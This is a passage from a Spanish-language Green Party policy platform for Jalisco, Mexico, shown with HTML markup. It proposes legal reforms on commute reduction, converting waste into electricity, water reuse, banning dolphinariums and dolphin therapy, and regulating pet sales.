el horario de atenci\u00f3n para la realizaci\u00f3n de tr\u00e1mites y servicios de las 09:00 y hasta las 19:00 horas; el horario laboral del personal femenino con hijos en estancias maternales o cursando educaci\u00f3n b\u00e1sica, no excediendo las 18:00 horas, el horario de atenci\u00f3n para los tr\u00e1mites y servicios que se prestan a la ciudadan\u00eda en la Administraci\u00f3n P\u00fablica de la Cdmx, finaliza a las 15:00 horas el segundo y \u00faltimo viernes de cada mes; las madres trabajadoras que tengan hijos en el per\u00edodo de lactancia, podr\u00e1n disponer de una hora diaria para alimentar a sus hijos; y las madres trabajadoras podr\u00e1n solicitar una licencia especial con goce de un porcentaje de su salario, contada a partir de su reincorporaci\u00f3n por la conclusi\u00f3n de la licencia por maternidad.<\/p>\n<p>Asimismo, los esquemas de reducci\u00f3n de traslados vehiculares hacia los centros de trabajo como obligaci\u00f3n de ciertas empresas a combinar opciones como horarios escalonados, semanas comprimidas, trabajo en casa, provisi\u00f3n de apoyos para el transporte p\u00fablico, de taxi en caso de emergencias, entre otros, ha permitido o puede permitir mejorar el medio ambiente, la productividad y la calidad de vida.<\/p>\n<p>Medidas espec\u00edficas de un esquema de reducci\u00f3n de traslados vehiculares hacia los centros de trabajo:<\/p>\n<ol>\n<li>Trabajo en casa: Promueve que empleados seleccionados puedan trabajar desde su casa. Una buena pol\u00edtica de teletrabajo incluye un acuerdo de responsabilidades, obligaciones y requerimientos de reporte.<\/li>\n<li>Horarios escalonados: Permite a los empleados transportarse a su trabajo durante las horas no pico de tr\u00e1fico, haciendo su transporte m\u00e1s r\u00e1pido, menos estresante y reduciendo la demanda de transporte p\u00fablico y en horarios pico.<\/li>\n<li>Semanas comprimidas: Permite a los empleados trabajar m\u00e1s horas durante sus d\u00edas normales de trabajo para tener un d\u00eda extra libre a la semana o cada cierto n\u00famero de semanas.<\/li>\n<li>Autos compartidos: Promueve, mediante un convenio entre dos o m\u00e1s personas, compartir el viaje al trabajo diariamente. Tambi\u00e9n se pueden utilizar veh\u00edculos con capacidad de asientos para grupos de 6 a 15 pasajeros y son proporcionados por alguna agencia del gobierno, una compa\u00f1\u00eda privada o el mismo empleador.<\/li>\n<li>Apoyos para uso de transporte p\u00fablico: Fomenta el uso de transporte p\u00fablico a trav\u00e9s de apoyos otorgados por el empleador cada semana o mes.<\/li>\n<li>Programa para fomentar el uso de la bicicleta: Promueve el uso de la bicicleta como medio de transporte diario.<\/li>\n<li>Programa de estacionamiento preferencial para veh\u00edculos compartidos y\/o bicicletas: Promueve la sustituci\u00f3n de apoyos a conductores de autos personales por apoyos a conductores de autos colectivos y\/o bicicletas.<\/li>\n<li>Servicio de taxi gratuito para emergencias: Permite a los empleados, en una situaci\u00f3n de emergencia, utilizar el servicio de taxi para poder llegar m\u00e1s r\u00e1pido a su destino. Este servicio lo provee el empleador.<\/li>\n<\/ol>\n<p>En el sector p\u00fablico ya se implementan medidas para la disminuci\u00f3n de traslados vehiculares hacia los centros de trabajo, esto establecido en los art\u00edculos 59, 66 y 75 de las condiciones generales de Trabajo del Gobierno Federal.<\/p>\n<p>Estos esquemas deben ser inicialmente de adopci\u00f3n voluntaria y flexible para buscar que despu\u00e9s de un periodo de ejecuci\u00f3n voluntaria su aplicaci\u00f3n sea obligatoria, logrando as\u00ed consciencia sobre el medio ambiente sano.<\/p>\n<p><strong>EN EL PARTIDO VERDE, PROPONEMOS:<\/strong><\/p>\n<ul>\n<li>Modificar el art\u00edculo 23 de la Ley General del Equilibrio Ecol\u00f3gico y la Protecci\u00f3n al Ambiente, con el fin de establecer como parte de las facultades de la SEMARNAT el de dise\u00f1ar e implementar esquemas de reducci\u00f3n de traslados hacia los centros de trabajo.<\/li>\n<li>Reformar diversos art\u00edculos de la Ley Federal del Trabajo y de la Ley Federal de los Trabajadores al Servicio del Estado, para que dentro de las condiciones generales de trabajo se considere la posibilidad de establecer un d\u00eda de trabajo en casa, horarios escalonados de entrada y salida al centro de trabajo, y horarios comprimidos de trabajo. As\u00ed como la posibilidad de que los trabajadores hagan uso de los materiales de trabajo en sus domicilios.<\/li>\n<\/ul>\n<p><strong>EN EL PARTIDO VERDE, PROPONEMOS A NIVEL LOCAL:<\/strong><\/p>\n<ul>\n<li>Proponer a SEMADET que en la medida de sus atribuciones establezca un d\u00eda a la semana de trabajo en casa y el escalonamiento de horarios distribuyendo la entrada y salida del personal adscrito a la misma,<\/li>\n<li>Incentivar fiscalmente a particulares y servidores de transporte p\u00fablico y privado (escuelas privadas) que inviertan en motores el\u00e9ctricos o h\u00edbridos evitando cualquier tipo de contaminaci\u00f3n.<\/li>\n<li>Establecer horarios definidos que delimiten la circulaci\u00f3n y labor que prestan los veh\u00edculos utilitarios donde no representen un grave motivo para entorpecer la circulaci\u00f3n, poniendo en riesgo a su vez a quienes realicen las funciones como repartidor de productos, recoger basura, podar \u00e1rboles, cambiar luminarias, regar camellones, entre otros, as\u00ed como sancionar a quienes incumplan los mismos.<\/li>\n<\/ul>\n<p><strong>T\u00cdTULO: TRANSFORMANDO LA BASURA EN ENERG\u00cdA<\/strong><\/p>\n<p><strong>VISI\u00d3N: <\/strong>Utilizar los residuos s\u00f3lidos urbanos de los Municipios, para generar electricidad que se pueda aprovechar para el alumbrado p\u00fablico, contribuyendo a reducir la contaminaci\u00f3n ocasionada por la acumulaci\u00f3n de basura en los rellenos sanitarios y as\u00ed poder regresar el porcentaje del impuesto predial que se haya ahorrado el Municipio por el pago de luz.<\/p>\n<p><strong>RESUMEN EJECUTIVO:<\/strong><\/p>\n<p>Seg\u00fan los datos del Instituto Nacional de Estad\u00edstica y Geograf\u00eda (Inegi);\u00a0 indican que los ciudadanos de la capital del Estado de Jalisco producen al d\u00eda 1.06 kilogramos de desechos s\u00f3lidos, mientras que el promedio estatal es de 0.888 kilogramos por habitante al d\u00eda.<\/p>\n<p>A Guadalajara le siguen en la tabla Zapopan (con 1.031 kilos por persona), Puerto Vallarta (0.907 kilos por persona), Tlaquepaque (0.740 kilos por persona), Tonal\u00e1 (0.719 kilos por persona) y Tlajomulco (0.504 kilos por persona).<\/p>\n<p>La informaci\u00f3n captada a trav\u00e9s del Censo Nacional de Gobiernos Municipales y Delegacionales 2011 indica que, en promedio, en Jalisco se recolectan diariamente seis mil 524 toneladas de basura, lo que representa el 7% de la recolecci\u00f3n nacional diaria.<\/p>\n<p>En seis municipios, en los que reside m\u00e1s de la mitad de la poblaci\u00f3n estatal, se recoge el 63% de todos los residuos; Guadalajara registra la mayor proporci\u00f3n con mil 590 toneladas (24%); le sigue Zapopan con mil 282 toneladas (20%); Tlaquepaque con 450 toneladas (7%); Tonal\u00e1 con 344 toneladas (5%); Puerto Vallarta con 232 toneladas (3%) y Tlajomulco de Z\u00fa\u00f1iga con 210 toneladas (3%)\u201d, se\u00f1ala el documento.<\/p>\n<p>En Jalisco existen 108 sitios de disposici\u00f3n final para los residuos s\u00f3lidos urbanos, pero de ellos el 70% son tiraderos a cielo abierto y el 30% restante son rellenos sanitarios \u201cque reducen los riesgos ambientales; adem\u00e1s, s\u00f3lo 23 municipios, donde reside el 63% de la poblaci\u00f3n, le da tratamiento al menos a una parte de sus desechos.<\/p>\n<p>Por su parte, la generaci\u00f3n de energ\u00eda el\u00e9ctrica a partir de combustibles f\u00f3siles tambi\u00e9n implica un alto costo ambiental y econ\u00f3mico para el pa\u00eds; siendo las fuentes energ\u00e9ticas de mayor impacto al ambiente, el carb\u00f3n mineral y los hidrocarburos; los cuales afectan principalmente a los cuerpos de agua, suelos y vida silvestre, as\u00ed como a la salud humana.<\/p>\n<p>Un Jalisco sin basura, se puede lograr a trav\u00e9s de la transformaci\u00f3n de los residuos s\u00f3lidos en energ\u00eda el\u00e9ctrica, reduciendo as\u00ed los costos por degradaci\u00f3n ambiental proveniente de residuos y generando energ\u00eda el\u00e9ctrica m\u00e1s econ\u00f3mica para alrededor de 14.26 millones de usuarios, de ah\u00ed el que el Estado necesita aprovechar su potencial de recursos renovables, maximizar la eficiencia energ\u00e9tica el\u00e9ctrica en todos los sectores productivos, contar con un ente que permita el desarrollo e implementaci\u00f3n de la pol\u00edtica p\u00fablica, estrategia, proyectos y programas estatales con una Estrategia Estatal que establezca el potencial renovable de Jalisco y para desarrollar acciones coordinadas en los municipios, en total apego a las competencias de los tres \u00f3rdenes de Gobierno.<\/p>\n<p><strong>PLANTEAMIENTO DEL PROBLEMA:<\/strong><\/p>\n<p>En Jalisco existen 108 sitios de disposici\u00f3n final para los residuos s\u00f3lidos urbanos, pero de ellos el 70% son tiraderos a cielo abierto y el 30% restante son rellenos sanitarios \u201cque reducen los riesgos ambientales; adem\u00e1s, s\u00f3lo 23 municipios, donde reside el 63% de la poblaci\u00f3n, le da tratamiento al menos a una parte de sus desechos.<\/p>\n<p>Cabe destacar que mediante Decreto 25419 se expidi\u00f3 la Ley para la Acci\u00f3n ante el Cambio Clim\u00e1tico del Estado de Jalisco, publicada en el Peri\u00f3dico Oficial \u201cEl Estado de Jalisco\u201d el 27 de agosto de 2015, la cual tiene entre sus objetivos definir los principios, criterios, instrumentos y \u00f3rganos para la aplicaci\u00f3n de la Pol\u00edtica Estatal en materia de cambio clim\u00e1tico; as\u00ed como establecer la concurrencia de competencias, atribuciones y facultades del Estado y sus municipios, y con la federaci\u00f3n, a fin de que se apliquen de manera coordinada y concertada en todas las etapas de planeaci\u00f3n de las pol\u00edticas p\u00fablicas para la adaptaci\u00f3n y mitigaci\u00f3n ante los efectos adversos del cambio clim\u00e1tico.<\/p>\n<p>Dicha norma en su numeral 114 establece que son de inter\u00e9s p\u00fablico la investigaci\u00f3n, desarrollo e innovaci\u00f3n tecnol\u00f3gica que sirvan de base para transitar hacia un modelo de desarrollo sustentable, la toma de decisiones para acciones que lleven a una mejor protecci\u00f3n de la poblaci\u00f3n, de los ecosistemas y de los sistemas de producci\u00f3n del estado ante los efectos negativos del cambio clim\u00e1tico, y aporten al mejoramiento de la calidad de vida de los habitantes del Estado y de los problemas sociales particulares que se viven en la entidad, atendiendo a las necesidades de la colectividad y a problem\u00e1ticas locales o regionales asociadas al cambio clim\u00e1tico y sus efectos.<\/p>\n<p>El consumo estatal se concentra en el \u00c1rea Metropolitana de Guadalajara con un total de 8.3 TWh, mientras que en el resto de los municipios del estado se consumieron 4.7 TWh. Sin embargo, en la entidad solamente se gener\u00f3 1.4 TWh, lo cual representa aproximadamente un 10.8% de la electricidad que se requiere anualmente, por lo cual aproximadamente el 89.2% de la energ\u00eda el\u00e9ctrica es importada de centrales el\u00e9ctricas externas.<\/p>\n<p>En virtud de lo anterior se colige que Jalisco actualmente tiene una baja generaci\u00f3n de electricidad con respecto a su consumo y una econom\u00eda de alto consumo energ\u00e9tico; por lo que el promover la generaci\u00f3n de electricidad mediante el aprovechamiento del recurso renovable, como el solar, e\u00f3lico y geot\u00e9rmico, resultar\u00eda ben\u00e9fico para la econom\u00eda del Estado.<\/p>\n<p>As\u00ed mismo recordemos que el a\u00f1o pasado se aprob\u00f3 la Ley Org\u00e1nica de la Agencia de Energ\u00eda, con la finalidad de crear un organismos P\u00fablico aut\u00f3nomo denominado la Agencia de Energ\u00eda del Estado de Jalisco, la cual contribuye con el liderazgo innovador y competitivo en el \u00e1mbito energ\u00e9tico; fortaleciendo las condiciones competitivas del estado a nivel nacional e internacional, para alentar y consolidar la utilizaci\u00f3n de energ\u00edas limpias, para alcanzar as\u00ed una transici\u00f3n energ\u00e9tica sustentable.<\/p>\n<p>Toda vez que existe un enorme potencial para transformar los millones de toneladas de residuos en giga watts-hora anuales de electricidad a trav\u00e9s de biodigesti\u00f3n y tratamiento t\u00e9rmico proponemos que se inicie con la generaci\u00f3n de electricidad a partir de la basura a trav\u00e9s del aprovechamiento de los residuos org\u00e1nicos, los cuales producen biog\u00e1s, un gas combustible que se genera por la descomposici\u00f3n de los residuos org\u00e1nicos.<\/p>\n<p><strong>EN EL PARTIDO VERDE, PROPONEMOS:<\/strong><\/p>\n<ul>\n<li>Reformar la Ley para la Prevenci\u00f3n y Gesti\u00f3n Integral de Residuos del Estado de Jalisco as\u00ed como incrementar las facultades de la Ley Org\u00e1nica de la Agencia de Energ\u00eda a efecto de que el Estado de Jalisco y nuestros municipios tengan la obligaci\u00f3n de producir electricidad utilizando los residuos s\u00f3lidos urbanos que se generan en sus territorios.<\/li>\n<li>Proponer una reforma a la Ley General para la Prevenci\u00f3n y Gesti\u00f3n Integral de Residuos para que el Ejecutivo Federal elabore y publique una norma oficial mexicana en la que se establezcan los requisitos para el aprovechamiento de los residuos s\u00f3lidos urbanos y los org\u00e1nicos, a trav\u00e9s de la biodigesti\u00f3n o de la termo valorizaci\u00f3n.<\/li>\n<\/ul>\n<p><strong>T\u00cdTULO: REUSANDO EL AGUA, PARA QUE NUNCA TE FALTE<\/strong><\/p>\n<p><strong>VISI\u00d3N<\/strong>: Que Jalisco cuente con una gesti\u00f3n adecuada del recurso h\u00eddrico enfocada al tratamiento de las aguas residuales y de re\u00faso.<\/p>\n<p><strong>RESUMEN EJECUTIVO:<\/strong><\/p>\n<p>Tan solo en lo que ve a las cifras del Sistema Intermunicipal de los Servicios de Agua Potable y Alcantarillado (SIAPA) revelan una tendencia alcista: el volumen de agua que utilizan los habitantes del \u00c1rea Metropolitana de Guadalajara se increment\u00f3 617 litros por segundo en lo que va de este a\u00f1o, mientras que el consumo per c\u00e1pita de agua se dispar\u00f3, entre 2016 y 2017, de 191 a 203 litros diarios.<\/p>\n<p>Destaca que mientras el a\u00f1o pasado el volumen de agua que se consum\u00eda en la ciudad era de 9.7 metros c\u00fabicos por segundo, hoy son 10.3 metros c\u00fabicos. De acuerdo con el organismo del agua, el crecimiento se debe a que hay m\u00e1s demanda: en un a\u00f1o 20 mil 500 usuarios nuevos se conectaron al sistema, conformado por un mill\u00f3n nueve mil cuentas.<\/p>\n<p>Por lo que, es necesario comprender que existe la disponibilidad de agua en todo el Estado de Jalisco la cual aparentemente es suficiente para abastecer a toda la poblaci\u00f3n, sin embargo la mala distribuci\u00f3n, el desperdicio, el escaso tratamiento de las aguas residuales y re\u00faso, y la casi nula <em>infraestructura verde<\/em>, no permiten regularizar el\u00a0 abastecimiento continuo y adecuado a toda la poblaci\u00f3n,\u00a0 ya que muchas veces las personas no tiene la conciencia del cuidado de la misma y permiten que la misma se desperdicie la cual regularmente se da por fugaz.<\/p>\n<p><strong>PLANTEAMIENTO DEL PROBLEMA:<\/strong><\/p>\n<p>La concentraci\u00f3n de la poblaci\u00f3n y la actividad econ\u00f3mica han creado zonas de alta escasez, no s\u00f3lo en las regiones de baja precipitaci\u00f3n pluvial. Adem\u00e1s de que el 68% del agua disponible se encuentra en regiones donde vive el 23% de la poblaci\u00f3n por lo que factores como el crecimiento de la poblaci\u00f3n y de la actividad agropecuaria; el establecimiento de nuevas f\u00e1bricas, as\u00ed como la sobreexplotaci\u00f3n y contaminaci\u00f3n de los recursos h\u00eddricos del Estado han generado grave escasez de agua y conflictos sociales en diversos Municipio, problem\u00e1tica que la Comisi\u00f3n Nacional del Agua (CONAGUA) y las autoridades locales deben resolver urgentemente.<\/p>\n<p>Adem\u00e1s, a falta de concientizaci\u00f3n de las empresas, as\u00ed como la construcci\u00f3n de obras hidr\u00e1ulicas inadecuadas ha generado el agotamiento de los mantos acu\u00edferos, por\u00a0 lo que es importante el que se haga un llamado urgente a los municipos de la entidad, respetando su autonom\u00eda para que vigilen la escasez de agua potable a trav\u00e9s de pol\u00edticas p\u00fablicas encaminadas a garantizar este recurso a todos los habitantes.<\/p>\n<p>De ah\u00ed el que entre los mayores desaf\u00edos a los que se enfrenta el estado de Jalisco est\u00e1 el de lograr el manejo de sus limitados recursos h\u00eddricos con claros criterios de sustentabilidad y\u00a0 con base en una gesti\u00f3n integral del agua, bajo la corresponsabilidad de los \u00f3rdenes de\u00a0 gobierno y de la sociedad organizada, que como resultado de la generaci\u00f3n de\u00a0 acuerdos se ejecuten proyectos prioritarios, que induzcan a la sustentabilidad de los\u00a0 servicios y garanticen, la calidad del agua y el medio ambiente. Los criterios de\u00a0 sustentabilidad incluyen la reducci\u00f3n de la contaminaci\u00f3n en los r\u00edos y cuerpos de agua, la disminuci\u00f3n de riesgos, la atenci\u00f3n a las causas y los efectos de inundaciones y sequ\u00edas, y el manejo integrado de agua, bosques y suelo.<\/p>\n<p>Aunado a lo anterior, el agua residual que se trata no se aprovecha normalmente en otros usos, sino que se descarga en cuerpos de agua nacionales.<\/p>\n<p>Lo anterior, sumado a la escasa infraestructura verde como captaci\u00f3n de agua pluvial, tambi\u00e9n nos ha llevado a la sobreexplotaci\u00f3n de 105 acu\u00edferos que representan el 15.6% de los 653 que hay en el pa\u00eds. Los acu\u00edferos sobreexplotados se concentran en las regiones hidrol\u00f3gicas Lerma-Santiago-Pac\u00edfico, Cuencas Centrales del Norte, R\u00edo Bravo, Noroeste y Pen\u00ednsula de Baja California.<\/p>\n<p>Un ejemplo claro de lo anterior es el Sistema Cutzamala, que es uno de los sistemas de suministro de agua potable m\u00e1s grandes del mundo. Aporta el 17% del abastecimiento para todos los usos de la Cuenca del Valle de M\u00e9xico, se complementa con el Sistema Lerma (5%), con la extracci\u00f3n de agua subterr\u00e1nea (68%), con r\u00edos y manantiales (3%) y re\u00faso del agua (7%) (BM 2013). La cuenca Lerma-Santiago-Pac\u00edfico es la que tiene mayor presi\u00f3n en el pa\u00eds, est\u00e1 catalogado como presi\u00f3n muy alta,<a href=\"#_ftn2\" name=\"_ftnref2\"><sup>[2]<\/sup><\/a> que junto con las regiones VI R\u00edo Bravo, y X Golfo Centro, concentran el 40% de los t\u00edtulos de concesi\u00f3n y asignaci\u00f3n de agua.<\/p>\n<p>La utilizaci\u00f3n de agua residual tratada implica menor costo en el consumo, que disminuye las presiones sobre las fuentes y satisface demandas que no exigen calidad potable.<\/p>\n<p>La utilizaci\u00f3n de agua tratada implica menor costo en el consumo, que disminuye las presiones sobre las fuentes y satisface demandas que no exigen calidad potable. Del 100% que se extrae, el 63% proviene de r\u00edos, arroyos y lagos (aguas superficiales) y el 37% restante de aguas subterr\u00e1neas.\u00a0<\/p>\n<p>Aunado a lo anterior, se deber\u00eda invertir en m\u00e1s infraestructura verde la cual ayuda a evitar que el agua de lluvia llegue al sistema de drenaje. Absorbe y almacena agua, mimetizando los procesos que ocurren en la naturaleza. Algunos ejemplos de infraestructura verde son los siguientes: desconexi\u00f3n de canales de recolecci\u00f3n de agua de lluvia del drenaje pluvial, recolecci\u00f3n de agua de lluvia, canteros de infiltraci\u00f3n, pavimentos permeables y techos verdes.<\/p>\n<p>El desaf\u00edo es lograr incorporar, progresivamente, elementos de infraestructura verde en proyectos de infraestructura tradicional.<\/p>\n<p><strong>EN EL PARTIDO VERDE, PROPONEMOS:<\/strong><\/p>\n<ul>\n<li>Propuestas de reformas y adiciones en la Ley de Aguas Nacionales, para:<\/li>\n<li>Definir agua pluvial.<\/li>\n<li>Utilizar agua tratada para uso industrial cuando existan fuentes disponibles propias o de terceros, a excepci\u00f3n de los procesos industriales que requieran agua potable, lo que deber\u00e1 justificarse cabalmente. Mediante una adici\u00f3n en la Ley de Aguas Nacionales.<\/li>\n<li>Exceptuar del pago de cuotas de garant\u00eda de no caducidad, a los concesionarios que utilicen agua tratada.<\/li>\n<li>Eliminar como causante de extinci\u00f3n en la concesi\u00f3n o asignaci\u00f3n para la explotaci\u00f3n, uso o aprovechamiento de aguas nacionales, cuando el concesionario realice mejores pr\u00e1cticas o use agua tratada, pero no utilice el volumen de agua concesionado o asignado o solo utilice una parte.<\/li>\n<li>Adicionar como un derecho a los concesionarios el de utilizar parcialmente los vol\u00famenes de agua concesionada.<\/li>\n<li>Adicionar como obligaci\u00f3n que los asignatarios utilicen agua tratada o agua pluvial para panteones, calles, parques y jardines y dem\u00e1s usos que no requieran agua de primer uso, cuando existan fuentes disponibles propias o de terceros.<\/li>\n<li>Adicionar como obligaci\u00f3n para los asignatarios la instalaci\u00f3n de infraestructura verde para la captaci\u00f3n, almacenamiento y aprovechamiento de agua pluvial para disminuir la sobreexplotaci\u00f3n de aguas nacionales superficiales o del subsuelo.<\/li>\n<li>Adicionar como obligaci\u00f3n para los asignatarios, la utilizaci\u00f3n de tecnolog\u00edas que promuevan el uso eficiente del agua, considerando invariablemente los rubros de: Doble abastecimiento para casa habitaci\u00f3n e industria: agua de primer uso (consumo humano, ba\u00f1o, cocina, etc.), agua de segundo uso (descargas sanitarias, riego de \u00e1reas verdes, lavado de autos). As\u00ed como incentivar el uso de sistemas de captaci\u00f3n de aguas pluviales en la planeaci\u00f3n urbana de zonas metropolitanas.<\/li>\n<li>Deducci\u00f3n del 100% por las inversiones para uso de aguas tratadas y captaci\u00f3n de agua pluvial. Mediante una reforma en el art\u00edculo 33 de la Ley del Impuesto sobre la Renta.<\/li>\n<li>Deducciones para quienes arriendan inmuebles e inviertan en infraestructura para el tratamiento y uso de aguas residuales y pluviales. Mediante una reforma en el art\u00edculo 115 de la Ley del Impuesto sobre la Renta.<\/li>\n<li>Deducciones para aquellos que enajenen inmuebles e inviertan en infraestructura para el tratamiento y uso de aguas tratadas y uso de agua pluvial. Mediante una reforma en el art\u00edculo 121 de la Ley del Impuesto sobre la Renta.<\/li>\n<li>Programas estatales que permitan tomar las medidas necesarias para garantizar el abasto de agua potable, y cumplir as\u00ed lo previsto en el Art\u00edculo 4 de la Constituci\u00f3n Mexicana.<\/li>\n<\/ul>\n<p><strong>T\u00cdTULO: PROHIBICI\u00d3N DE DELFINARIOS<\/strong><\/p>\n<p><strong>VISI\u00d3N<\/strong>: Garantizar que los mam\u00edferos marinos vivan en su h\u00e1bitat natural.<\/p>\n<p><strong>RESUMEN EJECUTIVO:<\/strong><\/p>\n<p>En la actualidad es com\u00fan el uso de animales para fines de espect\u00e1culos p\u00fablicos y comerciales, lo cual ocasiona situaciones de maltrato f\u00edsico y psicol\u00f3gico, que atentan en contra de su propia naturaleza.<\/p>\n<p>Es de conocimiento p\u00fablico que diversas especies de mam\u00edferos marinos son utilizadas para ese tipo de actividades, las cuales \u00fanicamente satisfacen intereses ajenos e implican la privaci\u00f3n de la libertad de ejemplares de esas especies, en especiallos delfines y los leones marinos.<\/p>\n<p>Para que los animales acu\u00e1ticos puedan realizar actos como saludar, dar beso y el famoso <em>foot push<\/em>, son sometidos a un duro entrenamiento, en el cual se les condiciona el alimento, incrementando su estado de estr\u00e9s y provocando enfermedades g\u00e1stricas<em>.<\/em><\/p>\n<p>Otra actividad que se lleva a cabo es la delfinoterapia, la cual encontramos dentro de los m\u00faltiples tipos de terapias asistidas con animales, destacada por el trabajo en el medio acu\u00e1tico y alude a la inteligencia de estos animales que aporta variedad de recursos para la intervenci\u00f3n. Quienes trabajan con delfines defienden su capacidad para detectar personas con problemas f\u00edsicos o ps\u00edquicos, lo cual ha sido desvirtuado desde el \u00e1mbito acad\u00e9mico.<\/p>\n<p>Toda vez que se necesita erradicar todo tipo de actividad que perjudique la salud y la vida de otras especies animales, es imperativo modificar el marco jur\u00eddico vigente, a efecto de prohibir su realizaci\u00f3n, as\u00ed como imponer las sanciones respectivas para quien violente esa disposici\u00f3n.<\/p>\n<p>Adem\u00e1s, hay pa\u00edses que llevaron a cabo importantes reformas en sus pol\u00edticas en esta materia, donde qued\u00f3 prohibido tener cet\u00e1ceos en cautiverio, con lo cual se han reducido actos ilegales y lucrativos que atentan contra la vida animal.<\/p>\n<p>El primer pa\u00eds que logr\u00f3 prohibir el cautiverio de delfines y ballenas, as\u00ed como el nado con delfines fue Costa Rica, continuaron Hungr\u00eda, Chile e India, donde qued\u00f3 prohibido a nivel nacional tener delfines en cautiverio para ser utilizados en espect\u00e1culos.<\/p>\n<p>Pa\u00edses como Brasil, Noruega, Reino Unido establecen estrictos est\u00e1ndares para los delfinarios que en muchas ocasiones resulta dif\u00edcil de conseguir.<\/p>\n<p><strong>PLANTEAMIENTO DEL PROBLEMA:<\/strong><\/p>\n<p>En M\u00e9xico, desde los a\u00f1os 70, encontramos los primeros delfinarios en el acuario Arag\u00f3n y el Parque Atlantis, ubicados en la Ciudad de M\u00e9xico, actualmente sin servicio.<\/p>\n<p>A la fecha se siguen llevando a cabo los espect\u00e1culos con mam\u00edferos marinos por distintas empresas. Tenemos como ejemplo al Grupo Dolphin Discovery, propietario de aproximadamente el 40% del mercado en M\u00e9xico, que hasta el momento cuenta con los siguientes 16 delfinarios:<\/p>\n<ul>\n<li>Capital Mexicana: Six Flags M\u00e9xico.<\/li>\n<li>Caribe Mexicano: Canc\u00fan &#8211; Isla Mujeres, Costa Maya, Cozumel, Tulum &#8211; Akumal, Dolphin Palace, Dreams Puerto Aventuras, Riviera Maya &#8211; Puerto Aventuras, Dolphin Playa del Carmen.<\/li>\n<li>Pac\u00edfico Mexicano: Los Cabos, Vallarta.<\/li>\n<li>Islas del Caribe: Anguila-St. Maarten, Gran Caim\u00e1n, Tortola, Punta Cana, Saint Kitts.<\/li>\n<li>Costa Este (EUA): Gulf World By Dolphin Discovery.<\/li>\n<\/ul>\n<p>De acuerdo con la publicaci\u00f3n \u201cDelfinarios\u201d escrita por Yolanda Alaniz y Laura Rojas, existen riesgos para los humanos y para los defines en este tipo de actividades acu\u00e1ticas, como conductas agresivas por los cet\u00e1ceos, mala interpretaci\u00f3n de la se\u00f1alizaci\u00f3n o expectativas no cumplidas en la interacci\u00f3n, competencia sexual por la dominaci\u00f3n, esfuerzos por controlar los elementos del ambiente, o bien, las zoonosis, entre otros.<\/p>\n<p>Por otro lado, la delfinoterapia es otra actividad que se lleva a cabo con mam\u00edferos marinos en cautiverio, la cual a\u00fan carece de fundamento cient\u00edfico y de autorizaci\u00f3n por parte de las autoridades sanitarias. A pesar de la propagaci\u00f3n de las terapias para las personas que padecen de autismo, s\u00edndrome de down, bulimia, ansiedad, depresi\u00f3n, d\u00e9ficit de atenci\u00f3n e hiperactividad, anorexia o inclusive trastornos de sue\u00f1o, no existen datos que garanticen la eficacia de las terapias.<\/p>\n<p>Cabe resaltar que la Subsecretaria de Prevenci\u00f3n y Promoci\u00f3n de la Salud ha afirmado que la terapia asistida con delfines no es una terapia reconocida dentro de la Gu\u00edas de Pr\u00e1ctica Cl\u00ednica avaladas por el Centro Nacional de Excelencia Tecnol\u00f3gica en Salud (CENETEC).<\/p>\n<p><em>Se argumenta que los delfines curan mediante los pulsos de ultrasonido que ya en s\u00ed mismos son curativos. Estudios recientes han demostrado que para que el ultrasonido emitido por los defines tengan alg\u00fan efecto sobre los tejidos debe emitirse por tiempos suficientes, lo cual no puede controlarse, adem\u00e1s de que en los padecimientos que se describen con anterioridad y que est\u00e1n relacionados con trastornos cerebrales, deben de transmitirse de manera directa sobre la cabeza del paciente, lo cual no sucede, ya que la cabeza del paciente se mantiene siempre por encima de la superficie del agua. Esto hace que sea cada vez menos realista la hip\u00f3tesis de que los delfines curen a trav\u00e9s del ultrasonido.<a href=\"#_ftn3\" name=\"_ftnref3\"><sup><strong>[3]<\/strong><\/sup><\/a><\/em><\/p>\n<p><strong>EN EL PARTIDO VERDE, PROPONEMOS:<\/strong><\/p>\n<ul>\n<li>Reformar el art\u00edculo 60 Bis de la Ley General de Vida Silvestre, para prohibir la celebraci\u00f3n de espect\u00e1culos p\u00fablicos o privados, incluyendo los espect\u00e1culos a domicilio, fijos o itinerantes, con cualquier especie de mam\u00edferos marinos, as\u00ed como el uso de mam\u00edferos marinos con fines econ\u00f3micos de manejo, adiestramiento, entrenamiento y terapia.<\/li>\n<li>Reformar el art\u00edculo 122 de la Ley General de Vida Silvestre para establecer en el cat\u00e1logo de infracciones el incumplimiento de la prohibici\u00f3n de espect\u00e1culos p\u00fablicos o privados, incluyendo los espect\u00e1culos a domicilio, fijos o itinerantes, con cualquier especie de mam\u00edferos marinos, as\u00ed como el uso de mam\u00edferos marinos con fines econ\u00f3micos de manejo, adiestramiento, entrenamiento y terapia.<\/li>\n<li>Reformar el C\u00f3digo Penal para el Estado de Jalisco, sanciones dentro de los delitos contra el ambiente, a quienes infrinjan la prohibici\u00f3n de realizar espect\u00e1culos o terapias que impliquen el uso de mam\u00edferos marinos, tanto particulares como servidores p\u00fablicos que lleguen a involucrarse.<\/li>\n<li>Establecer en el art\u00edculo 9 de la Ley General de Vida Silvestre, la facultad de la autoridad ambiental federal a emitir una pol\u00edtica preventiva para evitar la realizaci\u00f3n de esas actividades, as\u00ed como amplias facultades para vigilar y verificar el cumplimiento de la prohibici\u00f3n.<\/li>\n<\/ul>\n<p><strong>TITULO: ESPACIOS DIGNOS PARA LOS ANIMALES EN VENTA<\/strong><\/p>\n<p><strong>VISI\u00d3N: <\/strong>Mejorar las condiciones de los establecimientos mercantiles de compra-venta de mascotas o animales de compa\u00f1\u00eda, a fin de determinar los par\u00e1metros b\u00e1sicos para el bienestar animal durante el proceso de comercializaci\u00f3n.<\/p>\n<p>Al regular las actividades de comercializaci\u00f3n de animales de compa\u00f1\u00eda en establecimientos mercantiles, permitir\u00e1 prevenir y reducir el maltrato f\u00edsico de animales dom\u00e9sticos, provocado por los espacios o jaulas que no son los adecuados para su estancia.<\/p>\n<p>Endurecer el marco legal que protege a los animales, para prohibir su venta en la v\u00eda p\u00fablica, tianguis, puesta semifijos, puestos permanentes, temporales o ambulantes, y con ello evitar el maltrato de animales, as\u00ed como su venta ilegal.<\/p>\n<p><strong>RESUMEN EJECUTIVO: <\/strong><\/p>\n<p>En Jalisco las pr\u00e1cticas de comercializaci\u00f3n de mascotas o animales de compa\u00f1\u00eda,\u00a0 la mayor parte no cuentan con alguna restricci\u00f3n sanitaria, legal ni \u00e9tica. Debido a ello, es necesario se ampli\u00e9 el marco legal que se contempla en la Ley de Coordinaci\u00f3n en Materia de Sanidad Animal para el Estado de Jalisco, para garantizar que los animales no cuenten con alguna 